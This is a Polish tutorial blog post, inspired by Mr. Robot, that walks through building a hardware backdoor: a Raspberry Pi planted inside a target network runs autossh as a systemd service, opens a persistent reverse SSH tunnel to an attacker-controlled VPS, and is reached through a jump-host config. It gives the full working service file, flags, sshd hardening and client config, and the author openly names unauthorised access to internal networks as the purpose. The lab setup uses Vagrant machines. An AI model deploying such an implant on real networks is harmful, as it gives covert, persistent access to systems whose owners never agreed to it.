5.01.202210 min

Jan PleszyńskiSenior Python DeveloperemSTX Next

Implementacja backdoora przy użyciu autossh i VPS-a

Efektowny sposób na złamanie zabezpieczeń z użyciem komputera jednopłytkowego Raspberry Pi i VPS-a.

Implementacja backdoora przy użyciu autossh i VPS-a

Czy kojarzycie tę scenę z popularnego przed kilkoma laty serialu?

Odpowiedź za
5...
4...
3...
2...
1...

Jest to scena z serialu Mr. Robot. Przedstawia ona sytuację, w której główny bohater, Eliot, wpina się w sieć wewnętrzną centrum danych “Steel Mountain”. Dokładnie rzecz ujmując, to skręca żyły przewodu ethernetowego. Urządzenie, które jest podłączane, to komputer jednopłytkowy Raspberry Pi. Jest to jedyny sposób, aby dostać się do zasobów tej firmy. W serialu jej sieć przedstawiona jest jako bardzo dobrze zabezpieczona.

W końcu zarządza nią najpotężniejsza korporacja na świecie, Ecorp, która posiada dużo zasobów, aby chronić się przed atakami z zewnątrz. Dlatego jedynym sposobem na penetrację jest pozostawienie sprzętowego backdoora wewnątrz firmy. Dzisiaj pokażę Wam, w jaki sposób można przeprowadzić taki atak.


Szeroka perspektywa

Niezbędny do przeprowadzenia ataku będzie oczywiście komputer, który zostanie zainstalowany w chronionej sieci. W serialu jest to Raspberry Pi, ale zasadniczo może to być dowolna maszyna z zainstalowanym Linuxem. Raspberry Pi ma taką przewagę, że jest małe i łatwo można je ukryć. W dzisiejszych czasach można zastosować jeszcze mniejszą wersję tego komputera — Raspberry Pi Zero. 

Kolejnym elementem infrastruktury jest serwer z publicznym stałym adresem IP. Może być to np. Virtual Private Server wykupiony u dowolnego dostawcy. Jego rolą jest pośredniczenie w komunikacji pomiędzy komputerem, na którym pracuje Eliot a Raspberry Pi.

Całość działa następująco. Raspberry Pi zainstalowane przez Eliota w atakowanej sieci łączy się po SSH z VPS-em i otwiera tunel, po którym możliwe jest połączenie zwrotne. 

Eliot łączy się z serwerem, a potem z Maliną, wykorzystując otwarty tunel. Będąc już w sieci wewnętrznej może, wykorzystywać swoje szerokie umiejętności hakerskie do wykonywania dalszych exploitów.


Rozstawienie infrastruktury symulującej środowisko.

Dla uproszczenia i powtarzalności tego ćwiczenia — laptop Eliota oraz Raspberry Pi zasymuluję, jako maszyny wirtualne w Vagrant. Jest to dobre przybliżenie, ponieważ będą to dwa systemy Ubuntu działające w odrębnych sieciach. Jako serwer VPS, użyję instancji postawionej na Digital Ocean. Zasadniczo nadałby się do tego jakikolwiek komputer z systemem Linux, dysponujący publicznym adresem IP.


Vagrantfile opisujący wirtualne systemy

Vagrant.configure("2") do |config|

config.vm.box = "ubuntu/focal64"

config.vm.define "eliot" do |subconfig|
subconfig.vm.hostname = "eliots-home"
end

config.vm.define "raspberry" do |subconfig|
subconfig.vm.hostname = "steel-mountain"
end

end


Działająca infrastruktura testowa



Idąc śladami Eliota, moim celem będzie dostanie się z maszyny eliots-home na maszynę steel-mountain, wykorzystując do tego narzędzia autossh oraz vpsa.


Konfiguracja backdoora

Zacznę od skonfigurowania Raspberry Pi, które Eliot pozostawił w Steel Mountain. Chciałbym, żeby podczas uruchomienia łączyło się ono do VPSa i otwierało tunel SSH, który posłuży do połączenia w odwrotnym kierunku. Idealnym narzędziem do wykonania tego zadania jest autossh. To wrapper na standardowego klienta ssh, który dodatkowo zapewnia automatyczne odnowienie połączenia w przypadku jego zerwania. Bardzo ważna cecha, którą musi posiadać sprzętowy backdoor. Nie chcemy przecież stracić z nim kontaktu w przypadku restartu serwera VPS. 

vagrant@steel-mountain:~$ sudo apt update && sudo apt install -y autossh # Instalacja autossh


Kolejnym niezbędnym atrybutem backdoora jest jego automatyczne uruchomienie podczas startu systemu. Użyję do tego menedżera usług systemd, który dostępny jest w dystrybucjach Linuxa opartych na Debianie. Konfiguracja serwisu wygląda następująco:

[Install]
WantedBy=multi-user.target

[Unit]
After=network.target

[Service]
User=vagrant
Group=vagrant
ExecStart=/usr/bin/autossh -R 2000:localhost:22 -N -M 0 -oServerAliveInterval=30 -oServerAliveCountMax=3 -oExitOnForwardFailure=yes -oStrictHostKeyChecking=no steel-mountain@<IP-SERWERA>
Environment=AUTOSSH_GATETIME=0
Environment=AUTOSSH_POLL=30


Jest to dosyć standardowa definicja serwisu, który startuje dopiero po uruchomieniu usług sieciowych. 

Kluczowa jest tu opcja ExecStart, mówiąca o sposobie uruchomienia autossh. Wytłumaczę teraz znaczenie użytych flag. Wszystkie oprócz -M to flagi zdefiniowane przez standardowego klienta ssh.

-R 2000:localhost:22 - Flaga -R włącza tzw. Remote port forwarding. Można sobie to wyobrazić w ten sposób. Na serwerze, z którym nawiązywane jest połączenie, wszystkie połączenia do portu 2000 będą przekierowane do adresu localhost:22, widzianego z perspektywy Raspberry Pi. Czyli de facto port 2000 na serwerze będzie spięty z portem 22 sprzętowego backdoora. Powiązanie tych portów to właśnie tunel zwrotny, po którym można dostać się z serwera do maszyny.

-N - wyłącza uruchomienie komendy na serwerze. Domyślna komenda to shell zdefiniowany dla użytkownika (np. /bin/bash), do którego nawiązywane jest połączenie. Nas interesuje tylko przekierowanie portu, dlatego użyję tej opcji.

-M 0 - flaga specyficzna dla autossh. Wyłącza domyślny mechanizm monitorowania połączenia. Standardowo autossh używa usługi echo dostępnej na porcie 7. Domyślnie w większości dystrybucji Linuxa nie jest ona włączona. Chcąc skorzystać z tego mechanizmu, należałoby ustawić wartość -M 7 oraz uaktywnić usługę echo. Wyłączając ten mechanizm autossh zakłada, że połączenie jest przerwane, gdy proces klienta ssh zostanie zatrzymany.

Jako że korzystamy z detekcji połączenia ssh, powiązanej z działaniem procesu klienta - to warto ustawić flagi mówiące o tym,  kiedy to połączenie zostanie przerwane. Są to opcje -oServerAliveInterval=30 -oServerAliveCountMax=3, które w przypadku braku aktywności na połączeniu, wymuszają jego test co 30 sekund. Testem jest wysłanie pakietu: “alive message”. Po wysłaniu przez klienta ssh 3 pakietów bez odpowiedzi, zrywa on połączenie, a autossh podejmie próbę nawiązania nowego połączenia.

Dodatkowo ustawione są również zmienne środowiskowe, z których korzysta autossh. Jest to AUTOSSH_GATETIME=0 oraz AUTOSSH_POLL=30. Pierwsza z nich wyłącza tzw. gate time, czyli czas zaraz po starcie autossh, podczas którego zezwalamy na niepowodzenie połączenia i zaprzestanie ponawiania połączeń. Przypadek ten może wydarzyć się, gdy VPS nie jest włączony podczas uruchamiania autossh. W przypadku backdoora chcemy, aby taka sytuacja nie miała wpływu na jego funkcjonowanie i żeby połączył się do serwera, gdy tylko on pokaże się w sieci.

Druga zmienna definiuje odstęp czasowy kolejnych ponowień połączenia. Domyślnie jest to 600 sekund, co w moim odczuciu jest zdecydowanie zbyt wysoką wartością. Kto w dzisiejszych czasach chciałby czekać 10 minut na powrót do sieci swojego backdoora? Dlatego ustawiam wartość 30 sekund.

Pokazany wyżej plik z serwisem uaktualniony o adres IP VPS-a zapiszę w standardowej dla systemd lokacji jako: /etc/systemd/system/open.service. Żeby serwis został wykryty przeładuję demona systemd:

vagrant@steel-mountain:~$ sudo systemctl daemon-reload


Zainstaluję też serwis, dzięki czemu będzie on uruchamiał się przy starcie maszyny.

vagrant@steel-mountain:~$ sudo systemctl enable open.service
Created symlink /etc/systemd/system/multi-user.target.wants/open.service → /etc/systemd/system/open.service.


Sprawdźmy teraz, czy backdoor działa:

vagrant@steel-mountain:~$ sudo systemctl start open.service
vagrant@steel-mountain:~$ sudo systemctl status open.service

● open.service
Loaded: loaded (/etc/systemd/system/open.service; enabled; vendor preset: enabled)
Active: active (running) since Mon 2021-12-13 08:33:00 UTC; 1min 15s ago
Main PID: 3330 (autossh)
Tasks: 1 (limit: 1136)
Memory: 804.0K
CGroup: /system.slice/open.service
└─3330 /usr/lib/autossh/autossh -R 2000:localhost:22 -N -M 0
-oServerAliveInterval=30 -oServerAliveCountMax=3 -oExitOnForwardFailure=yes
-oStrictHostKeyChecking=no steel-mountain@<IP-SERWERA>

Dec 13 08:33:43 steel-mountain autossh[3394]: steel-mountain@161.35.7.112: Permission denied (publickey).
Dec 13 08:33:43 steel-mountain autossh[3330]: ssh exited with error status 255; restarting ssh


Jak widać z logów, połączenie do serwera nie działa ze względu na błąd autoryzacji: Permission denied (publickey). Dobrą informacją, jest jednak fakt, że restart połączenia ssh działa: (restarting ssh)


Konfiguracja VPS-a

Backdoor nie połączy się do serwera, jeśli ten nie będzie miał zainstalowanego jego klucza publicznego. Zrobię to, tworząc najpierw na serwerze dedykowanego backdoorowi użytkownika.

root@vps:~# useradd --create-home steel-mountain & su steel-mountain


Następnie generując klucze ssh na backdoorze:

vagrant@steel-mountain:~$ ssh-keygen -t rsa -b 4096


I umieszczając zawartość klucza publicznego backdoora: 

/home/vagrant/.ssh/id_rsa.pub


w pliku: 

/home/steel-mountain/.ssh/authorized_keys 


utworzonym na serwerze.

Teraz po sprawdzeniu stanu serwisu open.service:

sudo systemctl status open.service 


Widać, że...

Dec 13 08:52:59 steel-mountain autossh[3330]: starting ssh (count 55)
Dec 13 08:52:59 steel-mountain autossh[3330]: ssh child pid is 4371


...połączenie zostało nawiązane.

Umożliwię jeszcze połączenia z serwera do backdoora, wykorzystując tunel zwrotny. Potrzebny mi będzie kolejny użytkownik, którego klucze wgram na backdoora.

root@vps:~# useradd –create-home jump & su jump
$ ssh-keygen -t rsa -b 4096


Wygenerowany klucz publiczny tj. /home/jump/.ssh/id_rsa.pub należy dodać do ~/.ssh/authorized_keys na backdoorze.

Zastanawiasz się pewnie, dlaczego nie wykorzystuję wcześniej stworzonego użytkownika steel-mountain lub też po prostu roota? Tworząc oddzielnego użytkownika do połączenia zwrotnego, uzyskuję trzy ważne właściwości. Po pierwsze, wykorzystując użytkownika jump mogę łączyć się również z innymi backdoorami, które mogłyby być obsługiwane przez VPS-a. Drugą właściwością jest pośredniczenie przy połączeniu z komputera lokalnego (Eliota) na backdoora.

Dodatkowo, zarządzając kluczami publicznymi wgranymi do pliku /home/jump/.ssh/authorized_keys, jestem w stanie zarządzać dostępem do backdoorów dla innych użytkowników. Z tych powodów wygodnie jest stworzyć użytkownika nieposiadającego uprawnień root i niepowiązanego z żadnym konkretnym backdoorem.

W tym momencie mógłbym ogłosić sukces, nazwać backdoor działającym i umieścić go w atakowanej sieci. W końcu z poziomu VPS-a mogę połączyć się z backdoorem, wykonując komendę:

$ ssh -p 2000 vagrant@localhost


Utrzymywanie takiej konfiguracji jest jednak nierozsądne, ponieważ osoba mająca fizyczny dostęp do backdoora mogłaby na niego wejść i zaatakować serwer VPS. Wyjęcie karty ssd z Raspberry Pi i zainstalowanie na niej swoich kluczy ssh jest naprawdę trywialnym zadaniem. Po wykonaniu takiej operacji osoba atakowana uzyska dostęp do backdoora. Z jego poziomu wykonujemy komendę:

vagrant@steel-mountain:~$ ssh steel-mountain@<IP SERWERA>


...która zainicjuje połączenie do konsoli serwera. Na szczęście można się przed tym zabezpieczyć. Wymaga to odpowiedniej konfiguracji usługi sshd po stronie VPS-a. Zmodyfikować należy plik /etc/ssh/sshd_config, dodając następujący wpis:

Match User steel-mountain
PermitOpen localhost:2000
AllowAgentForwarding no
PasswordAuthentication no
X11Forwarding no
GatewayPorts no
PermitTunnel no
ForceCommand /bin/false
AllowStreamLocalForwarding no
AllowTcpForwarding remote


Ustawienia te są aplikowane tylko do użytkownika steel-mountain, którego stworzyłem wcześniej na serwerze. Krytyczne są tu opcje:

PermitOpen localhost:2000 - pozwala tylko na przekierowanie portu lokalnego na port serwera równy 2000

ForceCommand /bin/false — wyłącza inicjację konsoli po połączeniu ssh. Wymuszona jest komenda /bin/false.

AllowTcpForwarding remote. Zezwala tylko na przekierowanie portów z flagą -R

Dzięki tej konfiguracji maszyna backdoorowa będzie mogła tylko i wyłącznie przekierowywać porty na port 2000 serwera. Sytuacja opanowana!


Konfiguracja komputera Eliota

Aktualnie z poziomu komputera Eliota, mogę dostać się na backdoora w dwóch krokach. Najpierw łączę się z VPS-em, a potem z backdoorem. Po spełnieniu kilku warunków możliwe jest wykonanie połączenia w jednym kroku. Pierwszym jest oczywiście wygenerowanie kluczy ssh oraz zainstalowanie publicznego klucza Eliota na koncie użytkownika jump znajdującego się na VPS-ie. Jest to procedura analogiczna do tej, którą opisałem wcześniej. Drugim jest uruchomienie ssh-agent.

vagrant@eliots-home:~$ eval $(ssh-agent)
Agent pid 76812


Agent ssh to usługa pozwalająca dodawać i przechowywać klucze ssh w pamięci. Jest to ważne, ponieważ względem backdoora chcę uwierzytelnić się kluczem publicznym użytkownika jump. Ostatnim warunkiem jest stworzenie odpowiedniej konfiguracji klienta ssh na komputerze Eliota. 

vagrant@eliots-home:~$ cat /home/vagrant/.ssh/config

Host jump
Hostname <IP-VPSa>
user jump
port 22
ServerAliveInterval 50

Host steel-mountain
Hostname localhost
user vagrant
port 2000
ProxyCommand ssh -o 'ForwardAgent yes' -o 'ServerAliveInterval 50' jump 'ssh-add && nc %h %p'
ServerAliveInterval 50


Zdefiniowane jest tutaj jak klient ssh ma łączyć się z VPS-em oraz z backdoorem. Z tak stworzoną konfiguracją, wpisując komendę: ssh steel-mountain nawiązane zostanie połączenie bezpośrednio do backdoora. Dlaczego jest to możliwe? Prześledźmy, co dokładnie się tu dzieje. Komenda: ssh steel-mountain zgodnie z konfiguracją łączy się do hosta steel-mountain jako ssh -p 2000 vagrant@localhost. Wygląda znajomo? Tak właśnie łączyłem się z do backdoora z poziomu VPS-a. Nie operuję jednak z poziomu VPSa a z poziomu komputera Eliota. Dlatego w konfiguracji znajduje się jeszcze jedna opcja: ProxyCommand ssh -o 'ForwardAgent yes' -o 'ServerAliveInterval 50' jump 'ssh-add && nc %h %p'. Instruuje ona, aby przed wykonaniem: ssh -p 2000 vagrant@localhost wykonać:

ssh jump


z opcjami:

  • ForwardAgent yes, która przekazuje do jump-a odpalonego przed chwilą agenta ssh
  • oraz opisywaną wcześniej ServerAliveInterval 50
  • a następnie będąc już na

ssh-add && nc localhost 2000


...gdzie:

  • ssh-add - dodaje do agenta klucze użytkownika jump
  • nc localhost 2000 - łączy się do portu 2000. Właśnie tam przekazany jest tunel zwrotny z backdoora.


Zauważyłeś pewnie, że w oryginalnym zapisie ProxyCommand znajdują się symbole %h oraz %p. Są to zmienne podstawiane przez klienta ssh. %h - host a %p - port.


Test end2end oraz inne zastosowania.

Wykorzystując przygotowaną infrastrukturę, mogę połączyć się z komputera Eliota do Raspberry Pi w sieci firmy Steel Mountain z użyciem jednej komendy.

vagrant@eliots-home:~$ ssh steel-mountain

vagrant@steel-mountain:~$


W międzyczasie zostałem poproszony dwukrotnie o potwierdzenie autentyczności hostów, do których się łączyłem. Pierwszym z nich jest pośredniczący serwer VPS, a drugi to docelowa maszyna backdoorowa.

Przedstawione rozwiązanie skaluje się w kontekście udostępniania maszyn backdoorowych kolejnym użytkownikom. Wystarczy dla każdego z nich przeprowadzić konfigurację zgodnie z rozdziałem “Konfiguracja komputera Eliota”. Tak samo łatwo dostawiać można kolejne backdoory. Pomoże w tym zastosowanie się do rozdziału “Konfiguracja backdoora”. 

Oprócz opisanego tu zastosowania, którym jest nieuprawniony dostęp do wewnętrznych sieci, infrastrukturę tę można również wykorzystać do innych celów. Wyobraź sobie, że zarządzasz flotą urządzeń IoT, które znajdują się u Twoich klientów. Z pewnością będziesz chciał nadzorować ich pracę oraz wgrywać aktualizacje.

Tak zestawione połączenie ssh pozwoli Ci to osiągnąć w prosty sposób. W końcu wszystkie maszyny widoczne są z poziomu Twojego komputera jako hosty ssh. A może dla celów testowych potrzebujesz mieć dostęp do jakiejś usługi widocznej z perspektywy maszyny backdoorowej. Wystarczy, że przekierujesz tę usługę do siebie, wykorzystując flagę -L

ssh -L 8000:<adres-w-sieci-wewnętrznej>:80 <nazwa hosta backdoora>


Wtedy usługa serwera http widoczna pod konkretnym adresem w sieci wewnętrznej pojawi się u Ciebie na porcie 8000.

Być może podczas czytania tego artykułu wymyśliłeś inne zastosowania takiej infrastruktura. Jeśli tak, to możesz podzielić się pomysłem w sekcji komentarzy.

<p>Loading...</p>